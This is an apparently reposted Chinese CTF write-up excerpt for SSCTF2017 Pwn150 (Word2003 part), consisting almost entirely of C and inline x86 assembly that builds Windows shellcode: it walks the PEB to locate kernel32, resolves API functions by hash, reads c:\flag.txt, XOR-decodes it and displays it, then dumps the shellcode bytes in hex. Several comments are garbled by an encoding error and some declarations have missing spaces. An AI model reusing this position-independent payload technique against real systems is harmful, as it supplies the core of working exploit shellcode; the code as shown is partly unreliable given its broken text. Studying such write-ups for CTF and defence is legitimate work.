转自:http://www.tuicool.com/articles/eMJfaea — Pwn150 Word2003部分
例子:
/*
void *get_kernel32_base()
{
__asm
{
push ebp
xor ecx,ecx
mov esi,fs:0x30 ; //fs:30为PEB指针
mov esi, [esi + 0x0C]; //PEB偏移0x0C为PEB_LDR_DATA指针
mov esi, [esi + 0x1C]; //PEB_LDR_DATA偏移0x1C为模块初始化链表指针InInitializationOrderModuleList
next_module: ; //从第一个模块开始查找
mov ebp, [esi + 0x08]; //当前模块基地址
mov edi, [esi + 0x20]; //
mov esi, [esi]; //模块节点起址
cmp [edi + 12*2],cl ;// modulename[12] == 0 即判断为kernel32 ???为什么?
jne next_module ;//否则继续查找下一个模块
mov edi,ebp;BaseAddr of Kernel32.dll
mov eax, edi ; //直至找到kernel32.dll,将其加载基址存入edi和eax(作为返回值)
pop ebp ; //恢复ebp
}
}
*/
#include <stdio.h>
#include <windows.h>
void ShellcodeEntry();
#define KERNEL32_HASH 0x000d4e88
#define KERNEL32_LOADLIBRARYA_HASH 0x000d5786
#define KERNEL32_GETPROCADDRESSA_HASH 0x00348bfa
//---------------------
typedef HMODULE (WINAPI *pLoadLibraryA)(LPCTSTR lpFileName);
typedef FARPROC (WINAPI *pGetProcAddressA)(HMODULE hModule,LPCTSTR lpProcName);
//=---------------------
void ShellCodeStart(void)
{
ShellcodeEntry();
}
void ResolvAddr(pLoadLibraryA *pfLoadLibraryA,pGetProcAddressA*pfGetProcAddressA)
{
pLoadLibraryA fLoadLibraryA;
pGetProcAddressA fGetProcAddressA;
//获?取¨?API函¡¥数ºy地Ì?址¡¤代䨲码?出?自Á?The Shellcoders Handbook一°?书º¨¦
//支¡ì持?win 2k/NT/xp/7其?它¨¹没?测a试º?
__asm
{
push KERNEL32_LOADLIBRARYA_HASH ;//压入所需查找函数的hash值作为参数
push KERNEL32_HASH; //压入该函数对应模块名的hash值
call ResolvFuncAddr
mov fLoadLibraryA, eax; //得到LoadLibraryA函数地址
push KERNEL32_GETPROCADDRESSA_HASH
push KERNEL32_HASH
call ResolvFuncAddr
mov fGetProcAddressA, eax; //得到GetProcAddressA函数地址
jmp totheend
ResolvFuncAddr:
push ebp
mov ebp, esp
push ebx ; //将各原寄存器值先保存到栈中, 构造的ResolvFuncAddr函数执行完毕时从栈中进行恢复
push esi ;
push edi
push ecx
push fs:[0x30]
pop eax
mov eax, [eax+0x0c] ;//当前查找函数的hash值(没看懂怎么定位的)
mov ecx, [eax+0x0c] ; //同上
next_module:
mov edx, [ecx]
mov eax, [ecx+0x30] ;//模块名-
push 0x02
mov edi, [ebp+0x08]
push edi
push eax
call hashit ;//计算模块名hash值
test eax, eax
jz foundmodule ;//hash值相等即为所要找模块
mov ecx, edx
jmp next_module ;//否则继续循环查找
foundmodule:
mov eax, [ecx+0x18] ;//找到kernel32模块后,+08得到kernel32.dll在内存中基址
push eax ;
mov ebx, [eax+0x3c] ;//kernel32.dll基址+3C得其PE头(相对起始地址?)
add eax, ebx
mov ebx, [eax+0x78]; //eax+ebx+78得函数导出表起始地址
pop eax
push eax
add ebx, eax
mov ecx, [ebx+28]
mov edx, [ebx+32]
mov ebx, [ebx+36]
add ecx, eax
add edx, eax
add ebx, eax
find_procedure:
mov esi, [edx]
pop eax
push eax
add esi, eax
push 1
push [ebp+12]
push esi
call hashit
test eax, eax
jz found_procedure
add edx, 4
add ebx, 2
jmp find_procedure
found_procedure:
pop eax
xor edx, edx
mov dx, [ebx]
shl edx, 2
add ecx, edx
add eax, [ecx]
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x08
hashit: ;//用于计算hash值
push ebp
mov ebp, esp
push ecx
push ebx
push edx
xor ecx,ecx
xor ebx,ebx
xor edx,edx
mov eax, [ebp+0x08]
hashloop:
mov dl, [eax]
or dl, 0x60
add ebx, edx
shl ebx, 0x01
add eax, [ebp+16]
mov cl, [eax]
test cl, cl
loopnz hashloop
xor eax, eax
mov ecx, [ebp+12]
cmp ebx, ecx
jz donehash
inc eax
donehash:
pop edx //恢复寄存器
pop ebx
pop ecx
mov esp, ebp
pop ebp
ret 12
totheend:
}
*pfLoadLibraryA = fLoadLibraryA;
*pfGetProcAddressA = fGetProcAddressA;
}
//===========================
//定义要用到的各函数的指针
typedef int (WINAPI *pMessageBoxA)(HWNDhWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType);
typedef FILE* (__cdecl *pfopen)(constchar * path,const char * mode);
typedef size_t (__cdecl * pfread)(void *buffer, size_t size, size_t count, FILE *stream);
typedef int (__cdecl * pfseek)(FILE*stream, long offset, int fromwhere);
typedef long int (__cdecl *pftell)(FILE * stream );
typedef int (__cdecl * pfclose)(FILE*stream);
typedef void* (__cdecl * pmalloc)(size_tsize);
//-----------
void fmemset(void *dest, char ch, int size)
{
int i;
for (i = 0; i < size; i++)
{
((char *)dest)[i] = ch;
}
}
//--------------
void ShellcodeEntry()
{
pLoadLibraryA fLoadLibraryA;
pGetProcAddressA fGetProcAddressA;
ResolvAddr(&(fLoadLibraryA), &(fGetProcAddressA));
//----------下为定义各写shellcode要用到的函数及其所在dll的十六进制ASCII码(以便通过上面找到的fLoadLibraryA和fGetProcAddressA直接找到所需函数)----------
int val_User32_dll[3]; // “User32_dll”的十六进制ASCII码
val_User32_dll[0] = 0x72657355;
val_User32_dll[1] = 0x642e3233;
val_User32_dll[2] = 0x6c6c;
int val_MessageBoxA[3]; // “MessageBoxA”的十六进制ASCII码
val_MessageBoxA[0] = 0x7373654d;
val_MessageBoxA[1] = 0x42656761;
val_MessageBoxA[2] = 0x41786f;
int val_msvcrt_dll[3]; // “msvcrt_dll”的十六进制ASCII码
val_msvcrt_dll[0] = 0x6376736d;
val_msvcrt_dll[1] = 0x642e7472;
val_msvcrt_dll[2] = 0x6c6c;
int val_fopen[2];
val_fopen[0] = 0x65706f66;
val_fopen[1] = 0x6e;
int val_fread[2];
val_fread[0] = 0x61657266;
val_fread[1] = 0x64;
int val_fseek[2];
val_fseek[0] = 0x65657366;
val_fseek[1] = 0x6b;
int val_ftell[2];
val_ftell[0] = 0x6c657466;
val_ftell[1] = 0x6c;
int val_fclose[2];
val_fclose[0] = 0x6f6c6366;
val_fclose[1] = 0x6573;
int val_malloc[2]; //malloc函数名的十六进制ASCII码
val_malloc[0] = 0x6c6c616d;
val_malloc[1] = 0x636f;
int val_SSCTF2017[3] ; // SSCTF2017的十六进制ASCII码
val_SSCTF2017[0] = 0x54435353;
val_SSCTF2017[1] = 0x31303246;
val_SSCTF2017[2] = 0x37;
int val_c_flag_txt[3]; //c:flag.txt的十六进制ASCII码
val_c_flag_txt[0] = 0x665c3a63;
val_c_flag_txt[1] = 0x2e67616c;
val_c_flag_txt[2] = 0x747874;
//-------------------------------------
int val_rb[1];
val_rb[0] = 0x6272;
HMODULE User32;
pMessageBoxA fMessageBoxA;
User32 = fLoadLibraryA((char *)val_User32_dll);
fMessageBoxA = (pMessageBoxA)fGetProcAddressA(User32, (char*)val_MessageBoxA);
HMODULE Msvcrt;
long int fz;
pfopen ffopen;
pfread ffread;
pfseek ffseek;
pftell fftell;
pfclose ffclose;
pmalloc fmalloc;
Msvcrt = fLoadLibraryA((char *)val_msvcrt_dll);
ffopen = (pfopen)fGetProcAddressA(Msvcrt,(char *)val_fopen);
ffread = (pfread)fGetProcAddressA(Msvcrt, (char *)val_fread);
ffseek = (pfseek)fGetProcAddressA(Msvcrt,(char *)val_fseek);
fftell = (pftell)fGetProcAddressA(Msvcrt, (char *)val_ftell);
ffclose = (pfclose)fGetProcAddressA(Msvcrt, (char *)val_fclose);
fmalloc = (pmalloc)fGetProcAddressA(Msvcrt, (char *)val_malloc);
char* Title = (char *)val_SSCTF2017;
char* filename = (char *)val_c_flag_txt;
char *mode = (char *)val_rb;
char *buff;
FILE *fp = ffopen(filename, mode);
ffseek(fp, 0, SEEK_END);
fz = fftell(fp);
ffseek(fp, 0, SEEK_SET);
buff = (char *)fmalloc(fz + 1);
ffread(buff, 1, fz, fp);
ffclose(fp);
int i;
for (i = 0; i < fz; i++)
{
buff[i] ^= 0xcc; //取异或
}
buff[fz] = 0;
fMessageBoxA(NULL,buff,Title,MB_OK);
//getchar();
}
void ShellCodeEnd(void)
{
__asm
{
nop
nop
nop
}
}
void main()
{
unsigned char *p_ptr = (unsigned char *)ShellCodeStart;
unsigned char *p_end = (unsigned char *)ShellCodeEnd;
printf("size:%d\n", p_end - p_ptr);
while (p_ptr < p_end)
{
printf("%02x", *p_ptr); //打印出shellcode的十六进制形式
p_ptr++;
}
ShellCodeStart();
}